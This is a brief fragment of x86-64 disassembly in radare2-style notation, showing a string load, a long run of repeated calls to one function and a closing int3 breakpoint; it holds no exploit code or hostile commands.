lea rcx, str.absolute
call fcn.140005530
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
lea r8, [rbp - 0x48]
mov edx, eax
lea rcx, str.absolute
call fcn.140005530
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
nop
call fcn.140020c78
int3